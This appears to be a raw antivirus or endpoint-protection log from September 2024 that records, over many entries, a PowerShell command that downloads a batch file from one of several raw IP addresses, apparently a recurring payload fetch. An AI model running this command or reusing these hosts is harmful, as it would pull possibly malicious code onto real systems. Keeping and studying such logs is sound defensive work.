C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 11:33:48 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 11:36:20 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 11:38:52 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 11:41:24 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 11:43:55 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 11:52:41 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://206.206.76.183/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 11:53:54 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://206.206.76.183/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 11:57:41 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://206.206.76.183/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 12:17:31 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://206.206.76.183/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 12:18:05 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://206.206.76.183/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 12:19:08 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://206.206.76.183/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 12:20:20 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://206.206.76.183/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 12:29:05 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://206.206.76.183/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 12:30:12 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://206.206.76.183/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 13:06:54 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://206.206.76.183/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 13:17:48 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://206.206.76.183/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 15:03:42 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://206.206.76.183/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 17:03:56 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://206.206.76.183/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 17:09:16 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://206.206.76.183/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 23:18:30 AVAVER: 21.2.2455 AR2: 240830 defs: 24092002 2024-09-20 23:18:30 ARPOT2: Start 252 2024-09-20 23:18:30 AR2CFG: 240830 2024-09-20 23:18:31 AR2DEV: Start 1 Driver: 210305 2024-09-21 02:19:41 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://206.206.76.183/a.bat' -OutFile 'a.bat'" (null) 2024-09-21 02:20:23 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://206.206.76.183/a.bat' -OutFile 'a.bat'" (null) 2024-09-21 05:44:19 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://206.206.76.183/a.bat' -OutFile 'a.bat'" (null) 2024-09-21 05:45:30 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://206.206.76.183/a.bat' -OutFile 'a.bat'" (null) 2024-09-21 07:38:09 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://206.206.76.183/a.bat' -OutFile 'a.bat'" (null) 2024-09-21 11:47:53 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://206.206.76.183/a.bat' -OutFile 'a.bat'" (null) 2024-09-21 11:49:36 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://206.206.76.183/a.bat' -OutFile 'a.bat'" (null) 2024-09-21 14:59:32 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://206.206.76.183/a.bat' -OutFile 'a.bat'" (null) 2024-09-21 23:19:34 AVAVER: 21.2.2455 AR2: 240830 defs: 24092102 2024-09-21 23:19:34 ARPOT2: Start 5952 2024-09-21 23:19:34 AR2CFG: 240830 2024-09-21 23:19:34 AR2DEV: Start 1 Driver: 210305 2024-09-22 03:20:15 AR2DEV: Stopped 1 2024-09-22 03:20:15 AVAVER: 21.2.2455 AR2: 240830 defs: 24092104 2024-09-22 03:20:15 ARPOT2: Start 8104 2024-09-22 03:20:15 AR2CFG: 240830 2024-09-22 03:20:15 AR2DEV: Start 1 Driver: 210305 2024-09-22 03:20:16 AR2DEV: Stopped 1 2024-09-22 03:20:16 AVAVER: 21.2.2455 AR2: 240830 defs: 24092104 2024-09-22 03:20:16 ARPOT2: Start 7724 2024-09-22 03:20:16 AR2CFG: 240830 2024-09-22 03:20:16 AR2DEV: Start 1 Driver: 210305 2024-09-22 08:47:34 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://206.206.76.183/a.bat' -OutFile 'a.bat'" (null) 2024-09-22 10:52:23 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://206.206.76.183/a.bat' -OutFile 'a.bat'" (null) 2024-09-22 10:52:52 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://206.206.76.183/a.bat' -OutFile 'a.bat'" (null) 2024-09-22 11:42:52 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://206.206.76.183/a.bat' -OutFile 'a.bat'" (null) 2024-09-22 12:32:52 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://206.206.76.183/a.bat' -OutFile 'a.bat'" (null) 2024-09-22 13:22:52 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://206.206.76.183/a.bat' -OutFile 'a.bat'" (null) 2024-09-22 14:12:53 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://206.206.76.183/a.bat' -OutFile 'a.bat'" (null) 2024-09-22 15:02:53 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://206.206.76.183/a.bat' -OutFile 'a.bat'" (null) 2024-09-22 15:52:53 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://206.206.76.183/a.bat' -OutFile 'a.bat'" (null) 2024-09-22 16:42:53 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://206.206.76.183/a.bat' -OutFile 'a.bat'" (null) 2024-09-22 17:32:53 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://206.206.76.183/a.bat' -OutFile 'a.bat'" (null) 2024-09-22 18:22:53 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://206.206.76.183/a.bat' -OutFile 'a.bat'" (null) 2024-09-22 19:12:54 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://206.206.76.183/a.bat' -OutFile 'a.bat'" (null) 2024-09-22 20:02:54 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://206.206.76.183/a.bat' -OutFile 'a.bat'" (null) 2024-09-22 20:52:54 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://206.206.76.183/a.bat' -OutFile 'a.bat'" (null) 2024-09-22 21:42:54 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://206.206.76.183/a.bat' -OutFile 'a.bat'" (null) 2024-09-22 22:32:54 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://206.206.76.183/a.bat' -OutFile 'a.bat'" (null) 2024-09-22 23:20:37 AVAVER: 21.2.2455 AR2: 240830 defs: 24092202 2024-09-22 23:20:37 ARPOT2: Start 3748 2024-09-22 23:20:37 AR2CFG: 240830 2024-09-22 23:20:37 AR2DEV: Start 1 Driver: 210305 2024-09-22 23:22:55 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://206.206.76.183/a.bat' -OutFile 'a.bat'" (null) 2024-09-23 00:12:54 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://206.206.76.183/a.bat' -OutFile 'a.bat'" (null) 2024-09-23 01:02:38 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://206.206.76.183/a.bat' -OutFile 'a.bat'" (null) 2024-09-23 01:52:38 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://206.206.76.183/a.bat' -OutFile 'a.bat'" (null) 2024-09-23 02:42:38 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://206.206.76.183/a.bat' -OutFile 'a.bat'" (null) 2024-09-23 03:32:38 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://206.206.76.183/a.bat' -OutFile 'a.bat'" (null) 2024-09-23 04:22:38 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://206.206.76.183/a.bat' -OutFile 'a.bat'" (null) 2024-09-23 05:12:38 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://206.206.76.183/a.bat' -OutFile 'a.bat'" (null) 2024-09-23 06:02:39 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://206.206.76.183/a.bat' -OutFile 'a.bat'" (null) 2024-09-23 06:52:39 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://206.206.76.183/a.bat' -OutFile 'a.bat'" (null) 2024-09-23 07:42:39 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://206.206.76.183/a.bat' -OutFile 'a.bat'" (null) 2024-09-23 08:32:39 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://206.206.76.183/a.bat' -OutFile 'a.bat'" (null) 2024-09-23 09:18:46 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-23 09:20:56 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-23 09:21:18 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-23 09:21:33 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-23 09:21:50 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-23 09:22:31 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-23 09:23:36 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-23 09:24:12 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-23 09:24:50 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-23 09:26:37 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-23 09:31:45 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-23 09:32:20 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-23 09:41:36 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://77.90.22.35/a.bat' -OutFile 'a.bat'" (null) 2024-09-23 09:41:58 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://77.90.22.35/a.bat' -OutFile 'a.bat'" (null) 2024-09-23 09:42:13 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://77.90.22.35/a.bat' -OutFile 'a.bat'" (null) 2024-09-23 09:42:32 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://77.90.22.35/a.bat' -OutFile 'a.bat'" (null) 2024-09-23 09:42:44 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://77.90.22.35/a.bat' -OutFile 'a.bat'" (null) 2024-09-23 09:43:02 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://77.90.22.35/a.bat' -OutFile 'a.bat'" (null) 2024-09-23 09:43:30 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://77.90.22.35/a.bat' -OutFile 'a.bat'" (null) 2024-09-23 09:43:44 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://77.90.22.35/a.bat' -OutFile 'a.bat'" (null) 2024-09-23 09:48:14 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://77.90.22.35/a.bat' -OutFile 'a.bat'" (null) 2024-09-23 09:49:09 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://77.90.22.35/a.bat' -OutFile 'a.bat'" (null) 2024-09-23 09:49:26 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://77.90.22.35/a.bat' -OutFile 'a.bat'" (null) 2024-09-23 09:52:32 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://77.90.22.35/a.bat' -OutFile 'a.bat'" (null) 2024-09-23 10:00:24 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://77.90.22.35/a.bat' -OutFile 'a.bat'" (null) 2024-09-23 10:10:45 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://77.90.22.35/a.bat' -OutFile 'a.bat'" (null) 2024-09-23 10:30:17 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://77.90.22.35/a.bat' -OutFile 'a.bat'" (null) 2024-09-23 10:45:19 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-23 10:45:24 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-23 10:45:51 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-23 10:46:06 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-23 10:46:52 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-23 10:47:28 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-23 10:48:10 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-23 10:49:00 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-23 11:04:20 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-23 11:05:36 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-23 11:07:59 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-23 11:23:17 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-23 12:13:17 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-23 13:03:17 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-23 13:53:18 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-23 14:43:18 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-23 15:33:18 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-23 16:23:18 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-23 17:13:18 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-23 18:03:18 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-23 18:53:18 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-23 19:43:20 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-23 20:33:19 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-23 21:23:19 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-23 22:13:19 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-23 23:03:19 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-23 23:21:24 AVAVER: 21.2.2455 AR2: 240830 defs: 24092300 2024-09-23 23:21:24 ARPOT2: Start 7920 2024-09-23 23:21:24 AR2CFG: 240830 2024-09-23 23:21:25 AR2DEV: Start 1 Driver: 210305 2024-09-23 23:22:05 AR2DEV: Stopped 1 2024-09-23 23:22:05 AVAVER: 21.2.2455 AR2: 240830 defs: 24092302 2024-09-23 23:22:05 ARPOT2: Start 4516 2024-09-23 23:22:05 AR2CFG: 240830 2024-09-23 23:22:05 AR2DEV: Start 1 Driver: 210305 2024-09-23 23:22:05 AR2DEV: Stopped 1 2024-09-23 23:22:05 AVAVER: 21.2.2455 AR2: 240830 defs: 24092302 2024-09-23 23:22:05 ARPOT2: Start 6456 2024-09-23 23:22:05 AR2CFG: 240830 2024-09-23 23:22:05 AR2DEV: Start 1 Driver: 210305 2024-09-23 23:53:21 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-24 00:43:20 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-24 01:33:20 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-24 02:23:20 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-24 03:13:20 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-24 04:03:20 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-24 04:53:20 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-24 05:43:20 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-24 06:33:21 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-24 07:23:21 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-24 08:13:21 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-24 09:03:21 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-24 09:53:21 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-24 10:43:21 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-24 11:33:22 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-24 12:23:22 NOTIFY: PROCESS 